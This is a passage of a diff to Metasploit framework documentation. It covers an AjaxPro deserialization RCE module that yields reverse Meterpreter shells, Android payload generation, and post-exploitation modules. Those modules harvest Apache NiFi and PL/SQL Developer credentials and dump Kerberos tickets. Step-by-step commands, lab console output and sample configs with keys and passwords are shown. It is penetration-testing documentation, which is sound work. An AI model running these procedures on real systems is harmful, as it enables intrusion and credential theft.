exploit(windows/http/ajaxpro_deserialization_rce) > set lhost 127.0.0.1 +lhost => 127.0.0.1 +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set vhost localhost +vhost => localhost +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > exploit + +[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? +[*] Started reverse TCP handler on 127.0.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. And confirmed target method exists. +[*] Sending stage (175686 bytes) to 127.0.0.1 +[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:51844) at 2023-10-28 01:27:00 +0800 +``` + +### Windows Dropper + +``` +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > use exploit/windows/http/ajaxpro_deserialization_rce +[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set rhosts 127.0.0.2 +rhosts => 127.0.0.2 +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set rport 57750 +rport => 57750 +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set lhost 127.0.0.1 +lhost => 127.0.0.1 +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set vhost localhost +vhost => localhost +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set cmdstager::flavor certutil +cmdstager::flavor => certutil +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > exploit + +[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? +[*] Started reverse TCP handler on 127.0.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. And confirmed target method exists. +[*] Command Stager progress - 2.05% done (2046/99626 bytes) +[*] Command Stager progress - 4.11% done (4092/99626 bytes) +[*] Command Stager progress - 6.16% done (6138/99626 bytes) +[*] Command Stager progress - 8.21% done (8184/99626 bytes) +[*] Command Stager progress - 10.27% done (10230/99626 bytes) +[*] Command Stager progress - 12.32% done (12276/99626 bytes) +[*] Command Stager progress - 14.38% done (14322/99626 bytes) +[*] Command Stager progress - 16.43% done (16368/99626 bytes) +[*] Command Stager progress - 18.48% done (18414/99626 bytes) +[*] Command Stager progress - 20.54% done (20460/99626 bytes) +[*] Command Stager progress - 22.59% done (22506/99626 bytes) +[*] Command Stager progress - 24.64% done (24552/99626 bytes) +[*] Command Stager progress - 26.70% done (26598/99626 bytes) +[*] Command Stager progress - 28.75% done (28644/99626 bytes) +[*] Command Stager progress - 30.81% done (30690/99626 bytes) +[*] Command Stager progress - 32.86% done (32736/99626 bytes) +[*] Command Stager progress - 34.91% done (34782/99626 bytes) +[*] Command Stager progress - 36.97% done (36828/99626 bytes) +[*] Command Stager progress - 39.02% done (38874/99626 bytes) +[*] Command Stager progress - 41.07% done (40920/99626 bytes) +[*] Command Stager progress - 43.13% done (42966/99626 bytes) +[*] Command Stager progress - 45.18% done (45012/99626 bytes) +[*] Command Stager progress - 47.23% done (47058/99626 bytes) +[*] Command Stager progress - 49.29% done (49104/99626 bytes) +[*] Command Stager progress - 51.34% done (51150/99626 bytes) +[*] Command Stager progress - 53.40% done (53196/99626 bytes) +[*] Command Stager progress - 55.45% done (55242/99626 bytes) +[*] Command Stager progress - 57.50% done (57288/99626 bytes) +[*] Command Stager progress - 59.56% done (59334/99626 bytes) +[*] Command Stager progress - 61.61% done (61380/99626 bytes) +[*] Command Stager progress - 63.66% done (63426/99626 bytes) +[*] Command Stager progress - 65.72% done (65472/99626 bytes) +[*] Command Stager progress - 67.77% done (67518/99626 bytes) +[*] Command Stager progress - 69.83% done (69564/99626 bytes) +[*] Command Stager progress - 71.88% done (71610/99626 bytes) +[*] Command Stager progress - 73.93% done (73656/99626 bytes) +[*] Command Stager progress - 75.99% done (75702/99626 bytes) +[*] Command Stager progress - 78.04% done (77748/99626 bytes) +[*] Command Stager progress - 80.09% done (79794/99626 bytes) +[*] Command Stager progress - 82.15% done (81840/99626 bytes) +[*] Command Stager progress - 84.20% done (83886/99626 bytes) +[*] Command Stager progress - 86.25% done (85932/99626 bytes) +[*] Command Stager progress - 88.31% done (87978/99626 bytes) +[*] Command Stager progress - 90.36% done (90024/99626 bytes) +[*] Command Stager progress - 92.42% done (92070/99626 bytes) +[*] Command Stager progress - 94.47% done (94116/99626 bytes) +[*] Command Stager progress - 96.52% done (96162/99626 bytes) +[*] Command Stager progress - 98.58% done (98208/99626 bytes) +[*] Sending stage (175686 bytes) to 127.0.0.1 +[*] Command Stager progress - 100.00% done (99626/99626 bytes) +[*] Meterpreter session 3 opened (127.0.0.1:4444 -> 127.0.0.1:51919) at 2023-10-28 01:34:30 +0800 + +meterpreter > +``` diff --git a/documentation/modules/payload/android/meterpreter/reverse_tcp.md b/documentation/modules/payload/android/meterpreter/reverse_tcp.md index 1a7fe2dc33..86e26a3a67 100644 --- a/documentation/modules/payload/android/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/android/meterpreter/reverse_tcp.md @@ -37,7 +37,7 @@ To create the APK with `msfconsole`: msf > use payload/android/meterpreter/reverse_tcp msf payload(reverse_tcp) > set LHOST 192.168.1.199 LHOST => 192.168.1.199 -msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk +msf payload(reverse_tcp) > generate -f raw -o /tmp/android.apk [*] Writing 8992 bytes to /tmp/android.apk... msf payload(reverse_tcp) > ``` diff --git a/documentation/modules/post/linux/gather/apache_nifi_credentials.md b/documentation/modules/post/linux/gather/apache_nifi_credentials.md new file mode 100644 index 0000000000..525f98d405 --- /dev/null +++ b/documentation/modules/post/linux/gather/apache_nifi_credentials.md @@ -0,0 +1,486 @@ +## Vulnerable Application + +This module will grab Apache NiFi credentials from various files on Linux. + +It uses the following files: + +1. `authorizers.xml` to pull information about external authorizers such as Azure Active Directory +2. `login-identity-providers.xml` to pull any single user credential (password is hashed) +3. `nifi.properties` to determine encryption algorithm and key for the last file: +4. `flow.json.gz` to pull any flow and server encrypted credentials + +To test this module, you'll need the previous files. NiFi can be installed, and the values all set +however the instructions to do such are rather long. Samples of those files can be used and all placed +in the `conf` folder: + +### authorizers.xml + +```xml + + + + + file-user-group-provider + org.apache.nifi.authorization.FileUserGroupProvider + ./conf/users.xml + + + + + + + + file-access-policy-provider + org.apache.nifi.authorization.FileAccessPolicyProvider + file-user-group-provider + ./conf/authorizations.xml + + + + + + + + managed-authorizer + org.apache.nifi.authorization.StandardManagedAuthorizer + file-access-policy-provider + + + + single-user-authorizer + org.apache.nifi.authorization.single.user.SingleUserAuthorizer + + + + + + aad-user-group-provider + org.apache.nifi.authorization.azure.AzureGraphUserGroupProvider + 5 mins + https://login.microsoftonline.com + YOUR_TENANT_ID + YOUR_APPLICATION_CLIENT_ID + YOUR_APPLICATION_CLIENT_SECRET + Nifi-AAD + 100 + + + +``` + +### login-identity-providers.xml + +```xml + + + + single-user-provider + org.apache.nifi.authentication.single.user.SingleUserLoginIdentityProvider + USERNAME + $2b$12$53nHe2KpVIvWUVwaZft/1.2zOoSxfBkl4pIOXaIoC0QisaYJIZQBe + + +``` + +### nifi.properties + +```ini +# Core Properties # +nifi.flow.configuration.file=./conf/flow.xml.gz +nifi.flow.configuration.json.file=./conf/flow.json.gz +nifi.flow.configuration.archive.enabled=true +nifi.flow.configuration.archive.dir=./conf/archive/ +nifi.flow.configuration.archive.max.time=30 days +nifi.flow.configuration.archive.max.storage=500 MB +nifi.flow.configuration.archive.max.count= +nifi.flowcontroller.autoResumeState=true +nifi.flowcontroller.graceful.shutdown.period=10 sec +nifi.flowservice.writedelay.interval=500 ms +nifi.administrative.yield.duration=30 sec +# If a component has no work to do (is "bored"), how long should we wait before checking again for work? +nifi.bored.yield.duration=10 millis +nifi.queue.backpressure.count=10000 +nifi.queue.backpressure.size=1 GB + +nifi.authorizer.configuration.file=./conf/authorizers.xml +nifi.login.identity.provider.configuration.file=./conf/login-identity-providers.xml +nifi.templates.directory=./conf/templates +nifi.ui.banner.text= +nifi.ui.autorefresh.interval=30 sec +nifi.nar.library.directory=./lib +nifi.nar.library.autoload.directory=./extensions +nifi.nar.working.directory=./work/nar/ +nifi.documentation.working.directory=./work/docs/components +nifi.nar.unpack.uber.jar=false + +nifi.state.management.configuration.file=./conf/state-management.xml +nifi.state.management.provider.local=local-provider +nifi.state.management.provider.cluster=zk-provider +nifi.state.management.embedded.zookeeper.start=false +nifi.state.management.embedded.zookeeper.properties=./conf/zookeeper.properties + +# H2 Settings +nifi.database.directory=./database_repository +nifi.h2.url.append=;LOCK_TIMEOUT=25000;WRITE_DELAY=0;AUTO_SERVER=FALSE + +# Repository Encryption properties override individual repository implementation properties +nifi.repository.encryption.protocol.version= +nifi.repository.encryption.key.id= +nifi.repository.encryption.key.provider= +nifi.repository.encryption.key.provider.keystore.location= +nifi.repository.encryption.key.provider.keystore.password= + +# FlowFile Repository +nifi.flowfile.repository.implementation=org.apache.nifi.controller.repository.WriteAheadFlowFileRepository +nifi.flowfile.repository.wal.implementation=org.apache.nifi.wali.SequentialAccessWriteAheadLog +nifi.flowfile.repository.directory=./flowfile_repository +nifi.flowfile.repository.checkpoint.interval=20 secs +nifi.flowfile.repository.always.sync=false +nifi.flowfile.repository.retain.orphaned.flowfiles=true + +nifi.swap.manager.implementation=org.apache.nifi.controller.FileSystemSwapManager +nifi.queue.swap.threshold=20000 + +# Content Repository +nifi.content.repository.implementation=org.apache.nifi.controller.repository.FileSystemRepository +nifi.content.claim.max.appendable.size=50 KB +nifi.content.repository.directory.default=./content_repository +nifi.content.repository.archive.max.retention.period=7 days +nifi.content.repository.archive.max.usage.percentage=50% +nifi.content.repository.archive.enabled=true +nifi.content.repository.always.sync=false +nifi.content.viewer.url=../nifi-content-viewer/ + +# Provenance Repository Properties +nifi.provenance.repository.implementation=org.apache.nifi.provenance.WriteAheadProvenanceRepository + +# Persistent Provenance Repository Properties +nifi.provenance.repository.directory.default=./provenance_repository +nifi.provenance.repository.max.storage.time=30 days +nifi.provenance.repository.max.storage.size=10 GB +nifi.provenance.repository.rollover.time=10 mins +nifi.provenance.repository.rollover.size=100 MB +nifi.provenance.repository.query.threads=2 +nifi.provenance.repository.index.threads=2 +nifi.provenance.repository.compress.on.rollover=true +nifi.provenance.repository.always.sync=false +nifi.provenance.repository.indexed.fields=EventType, FlowFileUUID, Filename, ProcessorID, Relationship +nifi.provenance.repository.indexed.attributes= +nifi.provenance.repository.index.shard.size=500 MB +nifi.provenance.repository.max.attribute.length=65536 +nifi.provenance.repository.concurrent.merge.threads=2 + + +# Volatile Provenance Respository Properties +nifi.provenance.repository.buffer.size=100000 + +# Component and Node Status History Repository +nifi.components.status.repository.implementation=org.apache.nifi.controller.status.history.VolatileComponentStatusRepository + +# Volatile Status History Repository Properties +nifi.components.status.repository.buffer.size=1440 +nifi.components.status.snapshot.frequency=1 min + +# QuestDB Status History Repository Properties +nifi.status.repository.questdb.persist.node.days=14 +nifi.status.repository.questdb.persist.component.days=3 +nifi.status.repository.questdb.persist.location=./status_repository + +# Site to Site properties +nifi.remote.input.host= +nifi.remote.input.secure=true +nifi.remote.input.socket.port= +nifi.remote.input.http.enabled=true +nifi.remote.input.http.transaction.ttl=30 sec +nifi.remote.contents.cache.expiration=30 secs + +# web properties # +############################################# + +# For security, NiFi will present the UI on 127.0.0.1 and only be accessible through this loopback interface. +# Be aware that changing these properties may affect how your instance can be accessed without any restriction. +# We recommend configuring HTTPS instead. The administrators guide provides instructions on how to do this. + +nifi.web.http.host= +nifi.web.http.port= +nifi.web.http.network.interface.default= + +############################################# + +nifi.web.https.host=127.0.0.1 +nifi.web.https.port=8443 +nifi.web.https.network.interface.default= +nifi.web.https.application.protocols=http/1.1 +nifi.web.jetty.working.directory=./work/jetty +nifi.web.jetty.threads=200 +nifi.web.max.header.size=16 KB +nifi.web.proxy.context.path= +nifi.web.proxy.host= +nifi.web.max.content.size= +nifi.web.max.requests.per.second=30000 +nifi.web.max.access.token.requests.per.second=25 +nifi.web.request.timeout=60 secs +nifi.web.request.ip.whitelist= +nifi.web.should.send.server.version=true +nifi.web.request.log.format=%{client}a - %u %t "%r" %s %O "%{Referer}i" "%{User-Agent}i" + +# Filter JMX MBeans available through the System Diagnostics REST API +nifi.web.jmx.metrics.allowed.filter.pattern= + +# Include or Exclude TLS Cipher Suites for HTTPS +nifi.web.https.ciphersuites.include= +nifi.web.https.ciphersuites.exclude= + +# security properties # +nifi.sensitive.props.key=pVTBP82AE+ter4iTwZQK7IoYwljtRDVw +nifi.sensitive.props.key.protected= +nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256 +nifi.sensitive.props.additional.keys= + +nifi.security.autoreload.enabled=false +nifi.security.autoreload.interval=10 secs +nifi.security.keystore=./conf/keystore.p12 +nifi.security.keystoreType=PKCS12 +nifi.security.keystorePasswd=7fe294b206855e0790d0a198192c3c76 +nifi.security.keyPasswd=7fe294b206855e0790d0a198192c3c76 +nifi.security.truststore=./conf/truststore.p12 +nifi.security.truststoreType=PKCS12 +nifi.security.truststorePasswd=92691561806e0d5f8ace0e81289a320a +nifi.security.user.authorizer=single-user-authorizer +nifi.security.allow.anonymous.authentication=false +nifi.security.user.login.identity.provider=single-user-provider +nifi.security.user.jws.key.rotation.period=PT1H +nifi.security.ocsp.responder.url= +nifi.security.ocsp.responder.certificate= + +# OpenId Connect SSO Properties # +nifi.security.user.oidc.discovery.url= +nifi.security.user.oidc.connect.timeout=5 secs +nifi.security.user.oidc.read.timeout=5 secs +nifi.security.user.oidc.client.id= +nifi.security.user.oidc.client.secret= +nifi.security.user.oidc.preferred.jwsalgorithm= +nifi.security.user.oidc.additional.scopes=offline_access +nifi.security.user.oidc.claim.identifying.user= +nifi.security.user.oidc.fallback.claims.identifying.user= +nifi.security.user.oidc.claim.groups=groups +nifi.security.user.oidc.truststore.strategy=JDK +nifi.security.user.oidc.token.refresh.window=60 secs + +# Apache Knox SSO Properties # +nifi.security.user.knox.url= +nifi.security.user.knox.publicKey= +nifi.security.user.knox.cookieName=hadoop-jwt +nifi.security.user.knox.audiences= + +# SAML Properties # +nifi.security.user.saml.idp.metadata.url= +nifi.security.user.saml.sp.entity.id= +nifi.security.user.saml.identity.attribute.name= +nifi.security.user.saml.group.attribute.name= +nifi.security.user.saml.request.signing.enabled=false +nifi.security.user.saml.want.assertions.signed=true +nifi.security.user.saml.signature.algorithm=http://www.w3.org/2001/04/xmldsig-more#rsa-sha256 +nifi.security.user.saml.authentication.expiration=12 hours +nifi.security.user.saml.single.logout.enabled=false +nifi.security.user.saml.http.client.truststore.strategy=JDK +nifi.security.user.saml.http.client.connect.timeout=30 secs +nifi.security.user.saml.http.client.read.timeout=30 secs + +nifi.listener.bootstrap.port=0 + +# cluster common properties (all nodes must have same values) # +nifi.cluster.protocol.heartbeat.interval=5 sec +nifi.cluster.protocol.heartbeat.missable.max=8 +nifi.cluster.protocol.is.secure=false + +# cluster node properties (only configure for cluster nodes) # +nifi.cluster.is.node=false +nifi.cluster.node.address= +nifi.cluster.node.protocol.port= +nifi.cluster.node.protocol.max.threads=50 +nifi.cluster.node.event.history.size=25 +nifi.cluster.node.connection.timeout=5 sec +nifi.cluster.node.read.timeout=5 sec +nifi.cluster.node.max.concurrent.requests=100 +nifi.cluster.firewall.file= +nifi.cluster.flow.election.max.wait.time=5 mins +nifi.cluster.flow.election.max.candidates= + +# cluster load balancing properties # +nifi.cluster.load.balance.host= +nifi.cluster.load.balance.port=6342 +nifi.cluster.load.balance.connections.per.node=1 +nifi.cluster.load.balance.max.thread.count=8 +nifi.cluster.load.balance.comms.timeout=30 sec + +# zookeeper properties, used for cluster management # +nifi.zookeeper.connect.string= +nifi.zookeeper.connect.timeout=10 secs +nifi.zookeeper.session.timeout=10 secs +nifi.zookeeper.root.node=/nifi +nifi.zookeeper.client.secure=false +nifi.zookeeper.security.keystore= +nifi.zookeeper.security.keystoreType= +nifi.zookeeper.security.keystorePasswd= +nifi.zookeeper.security.truststore= +nifi.zookeeper.security.truststoreType= +nifi.zookeeper.security.truststorePasswd= +nifi.zookeeper.jute.maxbuffer= + +nifi.zookeeper.auth.type= +nifi.zookeeper.kerberos.removeHostFromPrincipal= +nifi.zookeeper.kerberos.removeRealmFromPrincipal= + +# kerberos # +nifi.kerberos.krb5.file= + +# kerberos service principal # +nifi.kerberos.service.principal= +nifi.kerberos.service.keytab.location= + +# kerberos spnego principal # +nifi.kerberos.spnego.principal= +nifi.kerberos.spnego.keytab.location= +nifi.kerberos.spnego.authentication.expiration=12 hours + +# external properties files for variable registry +# supports a comma delimited list of file locations +nifi.variable.registry.properties= + +# analytics properties # +nifi.analytics.predict.enabled=false +nifi.analytics.predict.interval=3 mins +nifi.analytics.query.interval=5 mins +nifi.analytics.connection.model.implementation=org.apache.nifi.controller.status.analytics.models.OrdinaryLeastSquares +nifi.analytics.connection.model.score.name=rSquared +nifi.analytics.connection.model.score.threshold=.90 + +# runtime monitoring properties +nifi.monitor.long.running.task.schedule= +nifi.monitor.long.running.task.threshold= + +# Enable automatic diagnostic at shutdown. +nifi.diagnostics.on.shutdown.enabled=false + +# Include verbose diagnostic information. +nifi.diagnostics.on.shutdown.verbose=false + +# The location of the diagnostics folder. +nifi.diagnostics.on.shutdown.directory=./diagnostics + +# The maximum number of files permitted in the directory. If the limit is exceeded, the oldest files are deleted. +nifi.diagnostics.on.shutdown.max.filecount=10 + +# The diagnostics folder's maximum permitted size in bytes. If the limit is exceeded, the oldest files are deleted. +nifi.diagnostics.on.shutdown.max.directory.size=10 MB + +nifi.performance.tracking.percentage=0 +``` + +### flow.json.gz + +This file is base64 encoded + +``` +H4sIAAAAAAAAAJVV227iSBD9lcjPMdO2Adu8kWAySAQQl0Ta1SjqSzn0xLitdpvARPn3rTY2YbPZ +HW0eEndVdXWdU1Unbw7kXAmZPz+ALqXKncGbs6M/lT6f/WtnJ/MLA3lHCz2s5Q70SMs95OutBipu +VZUbZ+CR2p2g3XzlvnY0PMvSaAmlM/jzx7VTUE13YEDfqtzAwXw2L7TaS4HPn+wco7TKMtAr0HvJ +2zQaCqUNQlnT8qWxGdgVGTXnEKXMnVZVYWFiytzIVIJ2Bk6fdhnhDNzUZ7EbxCF1WUzxS7CQ97qx +YDR0rh2Zl4bmHCaXdyMSeF2vH7nEi5jrEUJc5ne7+Cvo+z3Cuj6J8W6OaDB6JsfyapypV8dC2e0w +EVbn4KlQpTRNDw7IcweZPNZ/kfFCK0Ra1tWfAe+UgcU/HU2sqhn7BBRIFMRe4LuMhZEbAAtc6tO+ +y70w7rG+gB7r/gfQyE99/wKo8GPhxiLw427qBSzsfQBdb2U5KYe3VWnUbmZtvwHcJ14DOQjiGrQ5 +FjaT0s8dWlC+hU6OtXQ+8HVslYJq0bkD8329XmBWVuUiA5vz+dTqz/cxhuKgpJTjPDrW4rZp3Jxq +dO/bWXe8jh90fOfUgALwmp2lN+ReSA3cuFypFwluoTLJsXJHQEqrzGCSzXKK560xxeDbN88PO9jI +jocOHPMcr+IDV3aJVGXLCMhVCRy9I2roV/ZNCbphFufZVO3x2hnjMqjXq2VTkiU3pVlpXQtalq9K +C9v4nL+FISWCeH6UEoCoy/o8CsMe97wg7KWMBqQfpZ7fJ1RQxoIoEizoeaTnBZwGIo5AkJBFEPew +82FEIaY+5xAw9n5B0HEEJdeyMPX4vaGjNMe6H/YTeyCqDJd0AVoqW1eL78O1MhpX9tmyuZ7cJ8un +0XLykMwwBg7AK0vcTAlLxHA6tWMEOc3w3Qqvnbp2Ju0oIRMXDq+xswr1A7ViCnvI0P44XNr8usrb +4HuZZRIBkFpweKU1zm12XJ2qpCwDKzMfokYro9agUSqxdrGErM5SbmW7lA0+ECuDEfhmMhveTJOR +fRaMPl7Ipz3LL5Mwyl9Umt4D39JcljtMs8A808kfydN4On8cT6aJU+vvzSnyTLNHrrC28rSDhcoR +zfq0XYvl/DZZreZL9NUbM/nfwvj+wypGUZkFKnBTKo7v3w38PPaNAVmErPlOK3Rmv1H4PdXSMt/M +VbNqVkvHMoPkUMhzo9sBaGIsGwuNmlFpmLOfWIb9p1RuVSYs5fjzZajdxZX8BRfBOEJ3N//O4tPd +cr6xKpQ2Vd22w1Orw2Z2M9/MRnXX24h5ZRj2XixaCVmtl8nw/unxezJ7Gj4MJ1M7J877+1/P560I +rQcAAA== +``` + +## Verification Steps + +1. Install the files, or install NiFi and configure some credential things +1. Start msfconsole +1. Get a shell on the NiFi system with permission to read the conf files +1. Do: `use linux/gather/nifi_credentials` +1. Do: `set session [#]` +1. Do: `set NIFI_PATH [path]` or `NIFI_PROPERTIES`, `NIFI_FLOW_JSON`, `NIFI_IDENTITY`, and `NIFI_AUTHORIZERS` +1. Do: `run` +1. You should get any credentials stored by the system + +## Options + +### NIFI_PATH + +The path to the NiFi folder. If the various files are not found in this directory's `conf` folder, +the following Options are used to find the files directly. Defaults to `/opt/nifi/` + +### NIFI_PROPERTIES + +NiFi Properties file (`nifi.properties`), if not found in `NIFI_PATH`. Defaults to `/opt/nifi/conf/nifi.properties` + +### NIFI_FLOW_JSON + +NiFi `flow.json.gz` file, if not found in `NIFI_PATH`. Defaults to `/opt/nifi/conf/flow.json.gz` + +### NIFI_IDENTITY + +NiFi `login-identity-providers.xml` file, if not found in `NIFI_PATH`. Defaults to `/opt/nifi/conf/login-identity-providers.xml` + +### NIFI_AUTHORIZERS + +NiFi authorizers file (`authorizers.xml`), if not found in `NIFI_PATH`. Defaults to `/opt/nifi/conf/authorizers.xml` + +## Scenarios + +### Nifi 1.23.2 Using Configuration Files Included in Markdown + +``` +[msf](Jobs:0 Agents:1) post(linux/gather/nifi_credentials) > run + +[-] /opt/nifi/conf/flow.json.gz not found +[*] Found flow.json.gz file /opt/nifi-1.23.2/nifi-1.23.2//conf/flow.json.gz +[+] /opt/nifi-1.23.2/nifi-1.23.2//conf/flow.json.gz is readable! +[-] /opt/nifi/conf/nifi.properties not found +[*] Found nifi.properties file /opt/nifi-1.23.2/nifi-1.23.2//conf/nifi.properties +[+] /opt/nifi-1.23.2/nifi-1.23.2//conf/nifi.properties is readable! +[+] properties data saved in: /home/h00die/.msf4/loot/20231106144709_default_192.168.2.243_nifi.properties_402421.txt +[+] Key: pVTBP82AE+ter4iTwZQK7IoYwljtRDVw +[+] Encrypted data saved in: /home/h00die/.msf4/loot/20231106144711_default_192.168.2.243_nifi.flow.json_650473.json +[*] Checking root group processors +[*] Analyzing of type org.apache.nifi.processors.standard.GetHTTP +[*] Decryption initiated for AES-256-GCM +[*] Nonce: 77a0d0128f0ee84b6c8775c11375fba3, Auth Tag: 3ca3d98ed07b8e9500078ae9a2cce3bb, Ciphertext: 068f1260adabb388db351051 +[*] Checking root group controller services +[+] Decrypted data saved in: /home/h00die/.msf4/loot/20231106144711_default_192.168.2.243_nifi.flow.decryp_491289.json +[*] Checking identity file +[-] /opt/nifi/conf/login-identity-providers.xml not found +[*] Found login-identity-providers.xml file /opt/nifi-1.23.2/nifi-1.23.2//conf/login-identity-providers.xml +[+] /opt/nifi-1.23.2/nifi-1.23.2//conf/login-identity-providers.xml is readable! +[*] Checking authorizers file +[-] /opt/nifi/conf/authorizers.xml not found +[*] Found authorizers.xml file /opt/nifi-1.23.2/nifi-1.23.2//conf/authorizers.xml +[+] /opt/nifi-1.23.2/nifi-1.23.2//conf/authorizers.xml is readable! +[+] NiFi Flow Values +NiFi Flow Data +============== + + Name Username Password Other Information + ---- -------- -------- ----------------- + ThisIsACustomName testusername testpassword URL: http://127.0.0.1 + aad-user-group-provider Directory/Tenant ID: YOUR_TENANT_ID, Application ID: YOUR_APPLICATION_CLIENT_ID YOUR_APPLICATION_CLIENT_SECRET From authorizers.xml + single-user-provider USERNAME $2b$12$53nHe2KpVIvWUVwaZft/1.2zOoSxfBkl4pIOXaIoC0QisaYJIZQBe From login-identity-providers.xml + +[*] Post module execution completed +``` diff --git a/documentation/modules/post/windows/gather/credentials/plsql_developer.md b/documentation/modules/post/windows/gather/credentials/plsql_developer.md new file mode 100644 index 0000000000..18153d275a --- /dev/null +++ b/documentation/modules/post/windows/gather/credentials/plsql_developer.md @@ -0,0 +1,47 @@ +## Vulnerable Application + +This module can decrypt the histories and connection credentials of PL/SQL Developer, +and passwords are available if the user chooses to remember. + +Analysis of encryption algorithm [here](https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/). +You can find its official website [here](https://www.allroundautomations.com/products/pl-sql-developer/). + +## Verification Steps + + 1. Download and install PL/SQL Developer. + 2. (Optional) Change the PL/SQL Developer preference to save the passwords. + 3. Use PL/SQL Developer to log in to oracle databases. Or add a connection in PL/SQL Developer manually. + 4. Get a `meterpreter` session on a Windows host. + 5. Do: `run post/windows/gather/credentials/plsql_developer` + 6. The username, password, SID of connections will be printed. + +## Options + + **PLSQL_PATH** + + - Specify the path of PL/SQL Developer + +## Scenarios + +``` +meterpreter > run windows/gather/credentials/plsql_developer + +[*] Gather PL/SQL Developer Histories and Connections on WIN-XXXXXXXXXXX +[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs +[*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs +PL/SQL Developer Histories and Credentials +========================================== + +DisplayName Username Database ConnectAs Password FilePath +----------- -------- -------- --------- -------- -------- +[Connections]/Imported Fixed Users/Test sys ORCL SYSDBA pass C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs +[Connections]/Imported History/Test sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs +[LogonHistory] test2 ORCL Normal password2 C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +[LogonHistory] test1 ORCL Normal C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +[LogonHistory] sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs +[LogonHistory] user server Normal password C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs + +[+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231109050433_default_127.0.0.1_host.plsql_devel_357810.txt +meterpreter > +``` diff --git a/documentation/modules/post/windows/manage/kerberos_tickets.md b/documentation/modules/post/windows/manage/kerberos_tickets.md new file mode 100644 index 0000000000..af1d962d0a --- /dev/null +++ b/documentation/modules/post/windows/manage/kerberos_tickets.md @@ -0,0 +1,405 @@ +Manage kerberos tickets on a compromised host. Different actions are available for different tasks. Kerberos tickets are +associated with logon sessions which can be enumerated with the `ENUM_LUIDS` action. s + +## Options + +### LUID +An optional logon session LUID to target in the DUMP_TICKETS and SHOW_LUID actions. The LUID is expressed in hex, e.g. +`0x11223344`. + +### SERVICE +An optional service name wildcard to target in the DUMP_TICKETS action. This option accepts wild cards. For example, to +dump only TGTs use `krbtgt/*` and to only dump tickets for dc.msflab.local, use `*/dc.msflab.local`. Wildcards and +service names are case insensitive. + +## Actions + +### DUMP_TICKETS +This action allows dumping kerberos tickets from a compromised host. These tickets are loaded into Metasploit's +kerberos ticket cache when Metasploit is connected to a database. If the Meterpreter session is running with +administrative privileges, then the tickets from all logon sessions can be dumped. If the Meterpreter session is not +running with Administrative privileges then only the tickets from the current logon session / current user can be +dumped. If the `LUID` option is set then only the tickets from that logon session will be dumped. Targeting a specific +LUID with the `LUID` option requires administrative privileges. + +### ENUM_LUIDS +This action will enumerate the LUIDs of all active logon sessions. Some basic information is printed for each LUID. + +### SHOW_LUID +This action will show the LUID and some basic information about the current logon session unless the `LUID` option is +set in which case that logon session is shown. + +## Scenarios + +In this case the operator lists the currently cached Kerberos tickets in the Metasploit database. After that the +`DUMP_TICKETS` action is used with a service filter to dump the TGTs on the compromised host. Finally, the `klist` +command is used again to show the newly added TGTs. + +``` +msf6 post(windows/manage/kerberos_tickets) > klist +Kerberos Cache +============== +No tickets + +msf6 post(windows/manage/kerberos_tickets) > run SESSION=-1 SERVICE=krbtgt/* + +[*] LSA Handle: 0x000001efe1bf7270 +[*] LogonSession LUID: 0x00004bc1d +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:33:17 -0400 +[*] Ticket[0] +[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135453_default_192.168.159.10_mit.kerberos.cca_948767.bin + Primary Principal: DC$@MSFLAB.LOCAL + Ccache version: 4 + + Creds: 1 + Credential[0]: + Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL + Client: DC$@MSFLAB.LOCAL + Ticket etype: 18 (AES256) + Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0 + Subkey: false + Ticket Length: 1006 + Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE) + Addresses: 0 + Authdatas: 0 + Times: + Auth time: 1969-12-31 19:00:00 -0500 + Start time: 2023-08-23 08:33:17 -0400 + End time: 2023-08-23 18:33:17 -0400 + Renew Till: 2023-08-30 08:33:17 -0400 + Ticket: + Ticket Version Number: 5 + Realm: MSFLAB.LOCAL + Server Name: krbtgt/MSFLAB.LOCAL + Encrypted Ticket Part: + Ticket etype: 18 (AES256) + Key Version Number: 2 + Cipher: + 